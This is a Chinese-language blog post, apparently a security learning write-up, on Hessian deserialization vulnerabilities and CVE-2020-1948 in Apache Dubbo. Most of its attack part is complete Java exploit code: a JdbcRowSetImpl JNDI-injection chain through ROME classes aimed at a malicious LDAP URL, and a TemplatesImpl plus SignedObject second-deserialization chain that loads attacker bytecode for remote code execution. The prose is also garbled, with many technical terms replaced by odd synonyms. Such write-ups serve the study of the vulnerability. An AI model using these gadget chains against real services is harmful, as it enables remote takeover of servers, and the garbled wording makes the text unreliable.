Hessian反序列化分析

RPC协议

RPC全称为Remote Procedure Call Protocol（长途调用协议），RPC和之前学的RMI非常类似，都是长途调用服务，它们差别之处就是RPC是通过尺度的二进制格式来定义请求的信息，这样跨平台和体系就更加方便
RPC协议的一次长途通讯过程如下:

• 客户端发起请求，并按照RPC协议格式添补信息
  
• 添补完毕后将二进制格式文件转化为流，通过传输协议进行传输
  
• 服务端吸取到流后，将其转换为二进制格式文件，并按照RPC协议格式获取请求的信息并进行处理
  
• 处理完毕后将结果按照RPC协议格式写入二进制格式文件中并返回
  

Hessian协议

Hessian是一个基于RPC的高性能二进制长途传输协议，官方对Java、Python、C++......语言都进行了实现，Hessian一般在Web服务中使用，在Java里它的使用方法很简朴，它定义长途对象，并通过二进制的格式进行传输。
Hessian的简朴使用

环境依赖

1. <dependency>
2.     <groupId>com.caucho</groupId>
3.     <artifactId>hessian</artifactId>
4.     <version>4.0.63</version>
5. </dependency>

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Demo

1. package org.example;
2. import java.io.Serializable;
4. public class Person implements Serializable {
5.     public String name;
6.     public int age;
8.     public int getAge() {
9.         return age;
10.     }
12.     public String getName() {
13.         return name;
14.     }
16.     public void setAge(int age) {
17.         this.age = age;
18.     }
20.     public void setName(String name) {
21.         this.name = name;
22.     }
23. }

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1. package org.example;
3. import com.caucho.hessian.io.HessianInput;
4. import com.caucho.hessian.io.HessianOutput;
6. import java.io.ByteArrayInputStream;
7. import java.io.ByteArrayOutputStream;
8. import java.io.IOException;
10. public class Hessian_test {
11.     public static <T> byte[] serialize(T o) throws IOException {
12.         ByteArrayOutputStream bao = new ByteArrayOutputStream();
13.         HessianOutput output = new HessianOutput(bao);
14.         output.writeObject(o);
15.         System.out.println(bao.toString());
16.         return bao.toByteArray();
17.     }
18.     public static <T> T deserialize(byte[] bytes) throws IOException {
19.         ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
20.         HessianInput input = new HessianInput(bis);
21.         Object o = input.readObject();
22.         return (T) o;
23.     }
25.     public static void main(String[] args) throws IOException {
26.         Person person = new Person();
27.         person.setName("F12");
28.         person.setAge(20);
29.         byte[] s = serialize(person);
30.         System.out.println((Person) deserialize(s));
31.     }
32. }

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感觉就是ObjectStream的一个替换，跟原生的并没有太大差异
Hessian反序列化漏洞

1. package org.example;
3. import com.caucho.hessian.io.HessianInput;
4. import com.caucho.hessian.io.HessianOutput;
5. import com.sun.rowset.JdbcRowSetImpl;
6. import com.sun.syndication.feed.impl.EqualsBean;
7. import com.sun.syndication.feed.impl.ToStringBean;
9. import java.io.ByteArrayInputStream;
10. import java.io.ByteArrayOutputStream;
11. import java.io.IOException;
12. import java.io.Serializable;
13. import java.lang.reflect.Array;
14. import java.lang.reflect.Constructor;
15. import java.lang.reflect.Field;
16. import java.util.HashMap;
18. public class Hessian_JNDI implements Serializable {
19.     public static <T> byte[] serialize(T o) throws IOException {
20.         ByteArrayOutputStream bao = new ByteArrayOutputStream();
21.         HessianOutput output = new HessianOutput(bao);
22.         output.writeObject(o);
23.         System.out.println(bao.toString());
24.         return bao.toByteArray();
25.     }
27.     public static <T> T deserialize(byte[] bytes) throws IOException {
28.         ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
29.         HessianInput input = new HessianInput(bai);
30.         Object o = input.readObject();
31.         return (T) o;
32.     }
34.     public static void setValue(Object obj, String name, Object value) throws Exception{
35.         Field field = obj.getClass().getDeclaredField(name);
36.         field.setAccessible(true);
37.         field.set(obj, value);
38.     }
40.     public static Object getValue(Object obj, String name) throws Exception{
41.         Field field = obj.getClass().getDeclaredField(name);
42.         field.setAccessible(true);
43.         return field.get(obj);
44.     }
46.     public static void main(String[] args) throws Exception {
47.         JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
48.         String url = "ldap://localhost:1099/EXP";
49.         jdbcRowSet.setDataSourceName(url);
52.         ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
53.         EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
55.         //手动生成HashMap，防止提前调用hashcode()
56.         HashMap hashMap = makeMap(equalsBean,"1");
58.         byte[] s = serialize(hashMap);
59.         System.out.println(s);
60.         System.out.println((HashMap)deserialize(s));
61.     }
63.     public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
64.         HashMap<Object, Object> s = new HashMap<>();
65.         setValue(s, "size", 2);
66.         Class<?> nodeC;
67.         try {
68.             nodeC = Class.forName("java.util.HashMap$Node");
69.         }
70.         catch ( ClassNotFoundException e ) {
71.             nodeC = Class.forName("java.util.HashMap$Entry");
72.         }
73.         Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
74.         nodeCons.setAccessible(true);
76.         Object tbl = Array.newInstance(nodeC, 2);
77.         Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
78.         Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
79.         setValue(s, "table", tbl);
80.         return s;
81.     }
82. }

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搭个ldap恶意服务，运行代码成功弹出计算器，分析一下游程，readObject处打个断点，在readObject中计算tag的值进行一个Switch，我们这里计算出来是77也就是M

跟进readMap

获取到一个空的Deserializer对象，直接跟进readMap

这里创建了一个Map对象，将我们的恶意序列化数据put进去，这里调用了2次readObject，因此我们会重复几次也会弹好几个计算器，重复过程结束后回到put方法，进入put触发的就是通例rome链，似乎非常的easy
Apache Dubbo Hessian反序列化漏洞(CVE-2020-1948)

环境搭建

直接偷大佬搭好的：https://github.com/Claradoll/Security_Learning
启动Dubbo之前得准备一些东西，需要安装Dubbo，选用Zookeeper作为注册中心(Registry)，Apache Dubbo框架的流程如下

• 起首服务容器加载并运行Provider
  
• Provider在启动时向注册中心Registry注册自己提供的服务
  
• Consumer在Registry处订阅Provider提供的服务
  
• 注册中心返回服务地址给Consumer
  
• Consumer根据Registry提供的服务地址调用Provider提供的服务
  
• Consumer和Provider定时向监控中心Monitor发送一些统计数据
  

https://dlcdn.apache.org/zookeeper/zookeeper-3.8.4/
下载好后设置一下conf文件夹里的zoo.cfg文件，一开始不叫这个名字，改一下，添加这两个东西，data和log目录自己创建

1. dataDir=D:\Environment\Java\apache-zookeeper-3.8.4-bin\data
2. dataLogDir=D:\Environment\Java\apache-zookeeper-3.8.4-bin\log

复制代码

先启动zookeeper，bin目录下启动zkServer.cmd，然后IDEA里分别启动provider和consumer，访问这样就搭建成功了，consumer相当于客户端，provider就是服务端

反序列化漏洞分析

同样是JNDI注入触发rome链，攻击逻辑内里已经写好了，我们访问calc路由即可弹出计算器

这里分析一下Dubbo是怎么处理的，在服务端打个断点

再给DecodeableRpcInvocation的decode方法打个断点，方便调试

打完断点访问calc路由，进入decode方法

这一段代码获取了长途接口对象的路径和类型，以及dubbo的版本等等信息，但是在末了进行了反序列化，而且这里的in输入流是Hessian2对象

之后就是Hessian反序列化的流程了，为什么别的博主到这里tag变成了72，而我还是77，又一谜题，77通例的Hessian反序列化，就不往下分析了，可以去看看72的分析过程，不过大差不差

Hessian二次反序列化利用链

TemplatesImpl+SignedObject二次反序列化

上面确实有个迷惑是为什么要用JNDI，而不是单纯的TemplatesImpl链，在这里得到相识答，这是由于Hessian反序列化和Java原生反序列化的区别，假如用TemplatesImpl打的话，运行会报错

这是由于Tempaltes的_tfactory被transient修饰符修饰了，不可进行反序列化

那为什么原生的Java反序列化不会受到这个限定呢。这是由于原生反序列化过程中，假如类的readObject重写了，那就会调用它重写的逻辑，因此看看Templates类的readObject方法：

这里手动new了一个TransformerFactoryImpl实例，这样就不会遇到那种题目了
那既然如此，我们该如何绕过这个限定呢？思路实在很清晰，就是找一个类，那个类里有原生的readObject，这样就可以通过它触发二次反序列化，得以RCE，这个类也有一些要求，那就是要接上我们之前的Rome链子，在调用任意get和set那里接上，那么就要求目标类的get或者set方法中有readObject方法，刚好上篇讲的二次反序列化，这里就能够用到

1. package com.example.dubboconsumer.consumer;
3. import com.alibaba.com.caucho.hessian.io.Hessian2Input;
4. import com.alibaba.com.caucho.hessian.io.Hessian2Output;
5. import com.rometools.rome.feed.impl.EqualsBean;
6. import com.rometools.rome.feed.impl.ToStringBean;
7. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
8. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
10. import javax.management.BadAttributeValueExpException;
11. import javax.xml.transform.Templates;
12. import java.io.ByteArrayInputStream;
13. import java.io.ByteArrayOutputStream;
14. import java.io.IOException;
15. import java.lang.reflect.Array;
16. import java.lang.reflect.Constructor;
17. import java.lang.reflect.Field;
18. import java.nio.file.Files;
19. import java.nio.file.Paths;
20. import java.security.*;
21. import java.util.HashMap;
23. public class Hessian_TemplatesImpl {
25.     public static void main(String[] args) throws Exception {
26.         TemplatesImpl templatesimpl = new TemplatesImpl();
28.         byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\evilref.class"));
30.         setValue(templatesimpl,"_name","aaa");
31.         setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
32.         setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
34.         ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
35.         BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
36.         setValue(badAttributeValueExpException,"val",toStringBean);
38.         KeyPairGenerator keyPairGenerator;
39.         keyPairGenerator = KeyPairGenerator.getInstance("DSA");
40.         keyPairGenerator.initialize(1024);
41.         KeyPair keyPair = keyPairGenerator.genKeyPair();
42.         PrivateKey privateKey = keyPair.getPrivate();
43.         Signature signingEngine = Signature.getInstance("DSA");
45.         SignedObject signedObject = new SignedObject(badAttributeValueExpException,privateKey,signingEngine);
47.         ToStringBean toStringBean1 = new ToStringBean(SignedObject.class, signedObject);
49.         EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean1);
51.         HashMap hashMap = makeMap(equalsBean, equalsBean);
53.         byte[] payload = Hessian2_Serial(hashMap);
54.         Hessian2_Deserial(payload);
55.     }
57.     public static byte[] Hessian2_Serial(Object o) throws IOException {
58.         ByteArrayOutputStream baos = new ByteArrayOutputStream();
59.         Hessian2Output hessian2Output = new Hessian2Output(baos);
60.         hessian2Output.writeObject(o);
61.         hessian2Output.flushBuffer();
62.         return baos.toByteArray();
63.     }
65.     public static Object Hessian2_Deserial(byte[] bytes) throws IOException {
66.         ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
67.         Hessian2Input hessian2Input = new Hessian2Input(bais);
68.         Object o = hessian2Input.readObject();
69.         return o;
70.     }
72.     public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
73.         HashMap<Object, Object> s = new HashMap<>();
74.         setValue(s, "size", 2);
75.         Class<?> nodeC;
76.         try {
77.             nodeC = Class.forName("java.util.HashMap$Node");
78.         }
79.         catch ( ClassNotFoundException e ) {
80.             nodeC = Class.forName("java.util.HashMap$Entry");
81.         }
82.         Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
83.         nodeCons.setAccessible(true);
85.         Object tbl = Array.newInstance(nodeC, 2);
86.         Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
87.         Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
88.         setValue(s, "table", tbl);
89.         return s;
90.     }
92.     public static void setValue(Object obj, String name, Object value) throws Exception{
93.         Field field = obj.getClass().getDeclaredField(name);
94.         field.setAccessible(true);
95.         field.set(obj, value);
96.     }
97. }

复制代码

运行即可弹计算器

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